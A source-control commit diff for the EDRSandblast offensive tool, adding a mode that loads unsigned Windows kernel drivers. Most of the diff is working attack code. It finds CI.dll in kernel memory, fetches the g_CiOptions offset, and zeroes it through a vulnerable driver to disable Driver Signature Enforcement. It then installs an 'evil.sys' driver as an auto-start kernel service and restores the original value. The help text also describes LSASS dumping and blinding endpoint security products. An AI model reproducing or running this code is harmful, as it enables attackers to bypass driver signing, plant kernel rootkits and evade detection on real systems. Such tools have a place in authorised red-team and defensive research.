Add feature : loading unsigned driver

This commit is contained in:
v1k1ngfr
2022-12-25 01:07:15 +01:00
committed by Maxime Meignan
parent 0bbe76aab1
commit 7be844b518
16 changed files with 427 additions and 6 deletions
+1
View File
@@ -8,6 +8,7 @@ typedef enum _START_MODE {
credguard, credguard,
audit, audit,
firewall, firewall,
load,
none none
} START_MODE; } START_MODE;
+4
View File
@@ -167,10 +167,12 @@
<ClCompile Include="Drivers\DriverRTCore.c" /> <ClCompile Include="Drivers\DriverRTCore.c" />
<ClCompile Include="KernellandBypass\ETWThreatIntel.c" /> <ClCompile Include="KernellandBypass\ETWThreatIntel.c" />
<ClCompile Include="KernellandBypass\KernelCallbacks.c" /> <ClCompile Include="KernellandBypass\KernelCallbacks.c" />
<ClCompile Include="KernellandBypass\KernelDSE.c" />
<ClCompile Include="KernellandBypass\KernelUtils.c" /> <ClCompile Include="KernellandBypass\KernelUtils.c" />
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" /> <ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
<ClCompile Include="UserlandBypass\Syscalls.c" /> <ClCompile Include="UserlandBypass\Syscalls.c" />
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" /> <ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
<ClCompile Include="Utils\CiOffsets.c" />
<ClCompile Include="Utils\FileUtils.c" /> <ClCompile Include="Utils\FileUtils.c" />
<ClCompile Include="Utils\HttpClient.c" /> <ClCompile Include="Utils\HttpClient.c" />
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" /> <ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
@@ -200,10 +202,12 @@
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="EDRSandblast.h" /> <ClInclude Include="EDRSandblast.h" />
<ClInclude Include="Includes\CiOffsets.h" />
<ClInclude Include="Includes\CredGuard.h" /> <ClInclude Include="Includes\CredGuard.h" />
<ClInclude Include="Includes\DriverDBUtil.h" /> <ClInclude Include="Includes\DriverDBUtil.h" />
<ClInclude Include="Includes\DriverGDRV.h" /> <ClInclude Include="Includes\DriverGDRV.h" />
<ClInclude Include="Includes\DriverRTCore.h" /> <ClInclude Include="Includes\DriverRTCore.h" />
<ClInclude Include="Includes\KernelDSE.h" />
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" /> <ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
<ClInclude Include="Includes\FileUtils.h" /> <ClInclude Include="Includes\FileUtils.h" />
<ClInclude Include="Includes\HttpClient.h" /> <ClInclude Include="Includes\HttpClient.h" />
+12
View File
@@ -117,9 +117,15 @@
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c"> <ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c">
<Filter>Source Files</Filter> <Filter>Source Files</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="Utils\CiOffsets.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Drivers\DriverGDRV.c"> <ClCompile Include="Drivers\DriverGDRV.c">
<Filter>Source Files</Filter> <Filter>Source Files</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="KernellandBypass\KernelDSE.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="Includes\CredGuard.h"> <ClInclude Include="Includes\CredGuard.h">
@@ -233,6 +239,12 @@
<ClInclude Include="EDRSandblast.h"> <ClInclude Include="EDRSandblast.h">
<Filter>Header Files</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="Includes\CiOffsets.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\KernelDSE.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\DriverGDRV.h"> <ClInclude Include="Includes\DriverGDRV.h">
<Filter>Header Files</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
+37
View File
@@ -0,0 +1,37 @@
/*
--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
*/
#pragma once
#include <Windows.h>
enum CiOffsetType {
g_CiOptions = 0,
_SUPPORTED_CI_OFFSETS_END
};
union CiOffsets {
// structure version of Ci.dll's offsets
struct {
// Ci.dll's g_CiOptions
DWORD64 g_CiOptions;
} st;
// array version (usefull for code factoring)
DWORD64 ar[1];
};
union CiOffsets g_ciOffsets;
// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
void LoadCiOffsetsFromFile(TCHAR* CiOffsetFilename);
void SaveCiOffsetsToFile(TCHAR* CiOffsetFilename);
void LoadCiOffsetsFromInternet(BOOL delete_pdb);
LPTSTR GetCiVersion();
LPTSTR GetCiPath();
+5
View File
@@ -23,3 +23,8 @@ BOOL InstallVulnerableDriver(TCHAR* driverPath);
BOOL UninstallVulnerableDriver(void); BOOL UninstallVulnerableDriver(void);
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName); BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName);
// evil driver install
TCHAR* GetEvilDriverServiceName(void);
void SetEvilDriverServiceName(_In_z_ TCHAR* newName);
BOOL InstallEvilDriver(TCHAR* driverPath);
BOOL UninstallEvilDriver(void);
+3
View File
@@ -94,3 +94,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers); void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
// Helps at locating some DLL in the kernel, for example CI.dll
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
+11
View File
@@ -0,0 +1,11 @@
#pragma once
#pragma comment(lib, "ntdll.lib")
#define DEFAULT_EVIL_DRIVER_FILE TEXT("evil.sys")
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
#endif
BOOLEAN IsCiEnabled();
DWORD64 FindCIBaseAddress(BOOL verbose);
BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue);
+1
View File
@@ -5,3 +5,4 @@ DWORD64 FindNtoskrnlBaseAddress(void);
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset); TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
TCHAR* FindDriverPath(DWORD64 address); TCHAR* FindDriverPath(DWORD64 address);
DWORD64 GetKernelFunctionAddress(LPCSTR function); DWORD64 GetKernelFunctionAddress(LPCSTR function);
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
+61
View File
@@ -0,0 +1,61 @@
#include "windows.h"
#include "KernelDSE.h"
#include "../EDRSandblast.h"
#include "winternl.h"
#include "stdio.h" // for printf
//#include "ntstatus.h"
#include "KernelCallbacks.h"
#include "NtoskrnlOffsets.h"
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "tchar.h"
#define nullptr ((void*)0)
BOOLEAN IsCiEnabled()
{
SYSTEM_CODEINTEGRITY_INFORMATION CiInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) };
const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
&CiInfo,
sizeof(CiInfo),
nullptr);
if (!NT_SUCCESS(Status))
printf("[-] Failed to query code integrity status: %08X\n", Status);
return (CiInfo.CodeIntegrityOptions &
(CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED;
}
DWORD64 FindCIBaseAddress(BOOL verbose) {
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(CREATE_PROCESS_ROUTINE);
SIZE_T CurrentEDRCallbacksCount = 0;
DWORD64 CiBaseAddress = 0;
DWORD64 driverOffset = 0;
DWORD64 callback = 0;
DWORD64 cbFunction = 0;
TCHAR* driver = NULL;
DWORD64 callback_struct = 0;
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
if (callback_struct != 0) {
callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
cbFunction = ReadMemoryDWORD64(callback);
driver = FindDriverName(cbFunction, &driverOffset);
if (_tcscmp(driver, L"CI.dll") == 0) {
CiBaseAddress = cbFunction - driverOffset;
if (verbose)
printf("[+] %s FOUND at %016llx - 0x%llx : 0x%llx\n", driver, cbFunction, driverOffset, CiBaseAddress);
return CiBaseAddress;
}
}
}
return CiBaseAddress;
}
BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {
*OldCiOptionsValue = ReadMemoryDWORD64(CiVariableAddress);
//printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue);
WriteMemoryDWORD64(CiVariableAddress, CiOptionsValue);
//printf("[+KERNELDSE] New value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, ReadMemoryDWORD64(CiVariableAddress));
return TRUE;
}
+107
View File
@@ -0,0 +1,107 @@
/*
--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
*/
#include <tchar.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileVersion.h"
#include "PdbSymbols.h"
#include "CiOffsets.h"
union CiOffsets g_ciOffsets = { 0 };
// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) {
LPTSTR ciVersion = GetCiVersion();
_tprintf_or_not(TEXT("[*] System's ci.dll file version is: %s\n"), ciVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("r"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Ci offsets CSV file not found / invalid. A valid offset file must be specifed!"));
return;
}
TCHAR lineCiVersion[256];
TCHAR line[2048];
while (_fgetts(line, _countof(line), offsetFileStream)) {
TCHAR* dupline = _tcsdup(line);
TCHAR* tmpBuffer = NULL;
_tcscpy_s(lineCiVersion, _countof(lineCiVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(ciVersion, lineCiVersion) == 0) {
TCHAR* endptr;
_tprintf_or_not(TEXT("[+] Offsets are available for this version of ci.dll (%s)!"), ciVersion);
for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
g_ciOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
}
void SaveCiOffsetsToFile(TCHAR* ciOffsetFilename) {
LPTSTR ciVersion = GetCiVersion();
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("a"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] CI offsets CSV file cannot be opened"));
return;
}
_ftprintf(offsetFileStream, TEXT("%s"), ciVersion);
for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
_ftprintf(offsetFileStream, TEXT(",%llx"), g_ciOffsets.ar[i]);
}
_fputts(TEXT(""), offsetFileStream);
fclose(offsetFileStream);
}
void LoadCiOffsetsFromInternet(BOOL delete_pdb) {
LPTSTR ciPath = GetCiPath();
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(ciPath);
if (sym_ctx == NULL) {
return;
}
g_ciOffsets.st.g_CiOptions = GetSymbolOffset(sym_ctx, "g_CiOptions");
UnloadSymbols(sym_ctx, delete_pdb);
}
TCHAR g_ciPath[MAX_PATH] = { 0 };
LPTSTR GetCiPath() {
if (_tcslen(g_ciPath) == 0) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ci.dll path.
_tcscat_s(g_ciPath, _countof(g_ciPath), systemDirectory);
_tcscat_s(g_ciPath, _countof(g_ciPath), TEXT("\\ci.dll"));
}
return g_ciPath;
}
TCHAR g_ciVersion[256] = { 0 };
LPTSTR GetCiVersion() {
if (_tcslen(g_ciVersion) == 0) {
LPTSTR ciPath = GetCiPath();
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), ciPath);
_stprintf_s(g_ciVersion, 256, TEXT("ci_%s.dll"), versionBuffer);
}
return g_ciVersion;
}
+52
View File
@@ -115,3 +115,55 @@ BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) {
} }
return isRunning; return isRunning;
} }
/*
--- Evil driver install / uninstall functions.
*/
TCHAR* g_evilDriverServiceName;
TCHAR* GetEvilDriverServiceName(void) {
if (!g_evilDriverServiceName || _tcslen(g_evilDriverServiceName) == 0) {
g_evilDriverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH);
}
return g_evilDriverServiceName;
}
void SetEvilDriverServiceName(_In_z_ TCHAR* newName) {
if (g_evilDriverServiceName) {
free(g_evilDriverServiceName);
}
g_evilDriverServiceName = _tcsdup(newName);
if (!g_evilDriverServiceName) {
_putts_or_not(TEXT("[!] Error while attempting to set the service name."));
return;
}
}
BOOL InstallEvilDriver(TCHAR* driverPath) {
TCHAR* svcName = GetEvilDriverServiceName();
DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
if (status == 0x00000005) {
_putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?"));
}
_tprintf_or_not(TEXT("[!] The evil service should be manually deleted when you are done with it : \ncmd /c sc stop %s\ncmd /c sc delete %s\n"), GetEvilDriverServiceName());
return status == 0x0;
}
BOOL UninstallEvilDriver(void) {
TCHAR* svcName = GetEvilDriverServiceName();
BOOL status = ServiceUninstall(svcName, 0);
if (!status) {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
}
return status;
}
+128 -2
View File
@@ -27,6 +27,8 @@
#include "Undoc.h" #include "Undoc.h"
#include "UserlandHooks.h" #include "UserlandHooks.h"
#include "WdigestOffsets.h" #include "WdigestOffsets.h"
#include "CiOffsets.h"
#include "KernelDSE.h"
#include "../EDRSandblast/EDRSandblast.h" #include "../EDRSandblast/EDRSandblast.h"
@@ -74,7 +76,11 @@ BOOL WasRestarted() {
int _tmain(int argc, TCHAR** argv) { int _tmain(int argc, TCHAR** argv) {
// Parse command line arguments and initialize variables to default values if needed. // Parse command line arguments and initialize variables to default values if needed.
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall> [--usermode [--unhook-method <N>] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]"); const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load> \n\
[--usermode [--unhook-method <N>] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] \n\
[--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] \n\
[--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>] \n\
--internet");
const TCHAR extendedUsage[] = TEXT("\n\ const TCHAR extendedUsage[] = TEXT("\n\
-h | --help Show this help message and exit.\n\ -h | --help Show this help message and exit.\n\
-v | --verbose Enable a more verbose output.\n\ -v | --verbose Enable a more verbose output.\n\
@@ -88,6 +94,7 @@ Actions mode:\n\
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\ \tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
\t Credential Guard is enabled on the host. No kernel-land actions required.\n\ \t Credential Guard is enabled on the host. No kernel-land actions required.\n\
\tfirewall Add Windows firewall rules to block network access for the EDR processes / services.\n\ \tfirewall Add Windows firewall rules to block network access for the EDR processes / services.\n\
\tload Load the specified unsigned driver.\n\
\n\ \n\
--usermode Perform user-land operations (DLL unhooking).\n\ --usermode Perform user-land operations (DLL unhooking).\n\
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\ --kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
@@ -119,6 +126,8 @@ Other options:\n\
\n\ \n\
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\ --driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
Default to 'RTCore64.sys' in the current directory.\n\ Default to 'RTCore64.sys' in the current directory.\n\
--unsigned-driver <evil.sys> Path to the unsigned driver file.\n\
Default to 'evil.sys' in the current directory.\n\
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.\n\ --service <SERVICE_NAME> Name of the vulnerable service to intall / start.\n\
\n\ \n\
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\ --nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
@@ -153,9 +162,12 @@ Other options:\n\
START_MODE startMode = none; START_MODE startMode = none;
TCHAR driverPath[MAX_PATH] = { 0 }; TCHAR driverPath[MAX_PATH] = { 0 };
TCHAR unsignedDriverPath[MAX_PATH] = { 0 };
TCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE; TCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE;
TCHAR evilDriverDefaultName[] = DEFAULT_EVIL_DRIVER_FILE;
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR CiOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR processName[] = TEXT("lsass.exe"); TCHAR processName[] = TEXT("lsass.exe");
TCHAR outputPath[MAX_PATH] = { 0 }; TCHAR outputPath[MAX_PATH] = { 0 };
BOOL verbose = FALSE; BOOL verbose = FALSE;
@@ -191,6 +203,9 @@ Other options:\n\
else if (_tcsicmp(argv[i], TEXT("firewall")) == 0) { else if (_tcsicmp(argv[i], TEXT("firewall")) == 0) {
startMode = firewall; startMode = firewall;
} }
else if (_tcsicmp(argv[i], TEXT("load")) == 0) {
startMode = load;
}
else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) { else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
_putts_or_not(usage); _putts_or_not(usage);
_putts_or_not(extendedUsage); _putts_or_not(extendedUsage);
@@ -219,6 +234,14 @@ Other options:\n\
} }
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i])); _tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
} }
else if (_tcsicmp(argv[i], TEXT("--unsigned-driver")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(unsignedDriverPath, _countof(unsignedDriverPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--service")) == 0) { else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
i++; i++;
if (i > argc) { if (i > argc) {
@@ -320,7 +343,10 @@ Other options:\n\
if (startMode == dump && !kernelMode) { if (startMode == dump && !kernelMode) {
_putts_or_not(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n")); _putts_or_not(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
} }
if (startMode == load && !kernelMode) {
_putts_or_not(TEXT("'load' mode needs kernel-land DSE disabling operation to work, please enable --kernelmode"));
return EXIT_FAILURE;
}
// TODO: set isSafeToExecutePayloadUserland by unhook to TRUE / FALSE if there are still hooks. // TODO: set isSafeToExecutePayloadUserland by unhook to TRUE / FALSE if there are still hooks.
BOOL isSafeToExecutePayloadUserland = TRUE; BOOL isSafeToExecutePayloadUserland = TRUE;
BOOL isSafeToExecutePayloadKernelland = TRUE; BOOL isSafeToExecutePayloadKernelland = TRUE;
@@ -631,6 +657,106 @@ Other options:\n\
FirewallPrintManualDeletion(&sFWEntries); FirewallPrintManualDeletion(&sFWEntries);
break; break;
} }
// Load an unsigned kernel driver.
case load:
{
if (_tcslen(CiOffsetCSVPath) == 0) {
TCHAR CiOffsetCSVName[] = TEXT("\\CiOffsets.csv");
_tcsncat_s(CiOffsetCSVPath, _countof(CiOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(CiOffsetCSVPath, _countof(CiOffsetCSVPath), CiOffsetCSVName, _countof(CiOffsetCSVName));
}
if (FileExists(CiOffsetCSVPath)) {
LoadCiOffsetsFromFile(CiOffsetCSVPath);
if (g_ciOffsets.st.g_CiOptions == 0x0) {
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of ci in use."));
}
else {
if (verbose) {
_tprintf_or_not(TEXT("[+] g_CiOptions offset found using %s file : 0x%llx\n"), CiOffsetCSVPath, g_ciOffsets.st.g_CiOptions);
}
}
}
if (internet && (g_ciOffsets.st.g_CiOptions == 0x0)) {
_putts_or_not(TEXT("[+] Downloading ci related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
#if _DEBUG
LoadCiOffsetsFromInternet(FALSE);
#else
LoadCiOffsetsFromInternet(TRUE);
#endif
if (g_ciOffsets.st.g_CiOptions == 0x0) {
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
}
else {
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
if (FileExists(CiOffsetCSVPath)) {
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
SaveCiOffsetsToFile(CiOffsetCSVPath);
}
}
if (verbose) {
_tprintf_or_not(TEXT("[+] g_CiOptions offset found using internet MS Symbol Server : 0x%llx\n"), g_ciOffsets.st.g_CiOptions);
}
}
if (g_ciOffsets.st.g_CiOptions == 0x0) {
_putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file (or use --internet). Unsigned driver won't be loaded ...\n"));
lpExitCode = EXIT_FAILURE;
}
else {
_putts_or_not(TEXT(""));
if (kernelMode) {
DWORD64 CiBaseAddress = 0;
DWORD64 g_CiOptionsAddress = 0;
if (IsCiEnabled() | !IsCiEnabled()) // FIX IT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
{
CiBaseAddress = FindCIBaseAddress(verbose);
if (!CiBaseAddress) {
_putts_or_not(TEXT("[-] CI base address not found !\n"));
}
else{
g_CiOptionsAddress=CiBaseAddress + g_ciOffsets.st.g_CiOptions;
if (verbose)
_tprintf_or_not(TEXT("[+] CI.dll kernel base address found at 0x%llx. The g_CiOptions is at %llx !\n"), CiBaseAddress, g_CiOptionsAddress);
if (_tcslen(unsignedDriverPath) == 0) {
PathAppend(unsignedDriverPath, currentFolderPath);
PathAppend(unsignedDriverPath, evilDriverDefaultName);
}
if (!FileExists(unsignedDriverPath)) {
_tprintf_or_not(TEXT("[!] Required driver file not present at %s\nExiting...\n"), unsignedDriverPath);
return EXIT_FAILURE;
}
_putts_or_not(TEXT("[+] Using the vulnerable driver to disable CI...")); // debug print
ULONG CiOptionsValue=0;
PULONG OldCiOptionsValue;
patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, &OldCiOptionsValue);
LPTSTR evilServiceNameIfAny = NULL;
BOOL isEvilDriverAlreadyRunning = IsDriverServiceRunning(unsignedDriverPath, &evilServiceNameIfAny);
if (isEvilDriverAlreadyRunning) {
_putts_or_not(TEXT("[+] Evil driver is already running!\n"));
SetEvilDriverServiceName(evilServiceNameIfAny);
}
else {
_putts_or_not(TEXT("[+] Installing evil driver..."));
status = InstallEvilDriver(unsignedDriverPath);
if (status != TRUE)
_putts_or_not(TEXT("[!] An error occurred while installing the evil driver"));
}
_putts_or_not(TEXT("[+] Using the vulnerable driver to reset original CI status")); // debug print
patch_gCiOptions(g_CiOptionsAddress, *OldCiOptionsValue, &OldCiOptionsValue);
}
}
else {
// CI is already disabled, just load the driver
_putts_or_not(TEXT("[-] CI is already disabled!\n")); // debug print
}
}
}
// END WIP
break;
}
} }
_putts_or_not(TEXT("")); _putts_or_not(TEXT(""));
} }
+1 -1
View File
@@ -183,4 +183,4 @@ ci_22621-608.dll,41004
ci_22621-815.dll,41004 ci_22621-815.dll,41004
ci_22621-675.dll,41004 ci_22621-675.dll,41004
ci_19041-2075.dll,3a438 ci_19041-2075.dll,3a438
ci_19045-2364.dll,39418 ci_19041-2364.dll,39418
1 g_CiOptionsOffset
183 ci_22621-815.dll,41004
184 ci_22621-675.dll,41004
185 ci_19041-2075.dll,3a438
186 ci_19045-2364.dll,39418 ci_19041-2364.dll,39418
+1
View File
@@ -517,3 +517,4 @@ ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8
ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50,34d030,34d048,c8 ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50,34d030,34d048,c8
ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38,16002c,160028,80 ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38,16002c,160028,80
ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50,22c020,22c040,228 ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50,22c020,22c040,228
ntoskrnl_19041-2364.exe,cec460,cec260,cec060,87a,c197d8,20,60,cfc410,cfc440,c8
1 ntoskrnlVersion PspCreateProcessNotifyRoutineOffset PspCreateThreadNotifyRoutineOffset PspLoadImageNotifyRoutineOffset _PS_PROTECTIONOffset EtwThreatIntProvRegHandleOffset EtwRegEntry_GuidEntryOffset EtwGuidEntry_ProviderEnableInfoOffset PsProcessType PsThreadType CallbackList
517 ntoskrnl_9600-20144.exe 2dac50 2daa50 2da850 67a 0 20 50 34d030 34d048 c8
518 ntoskrnl_7601-17514.exe ffffffffffffffff ffffffffffffffff ffffffffffffffff 0 0 8 38 16002c 160028 80
519 ntoskrnl_6003-21251.exe 1a9d00 1a9ae0 1a9a80 0 0 10 50 22c020 22c040 228
520 ntoskrnl_19041-2364.exe cec460 cec260 cec060 87a c197d8 20 60 cfc410 cfc440 c8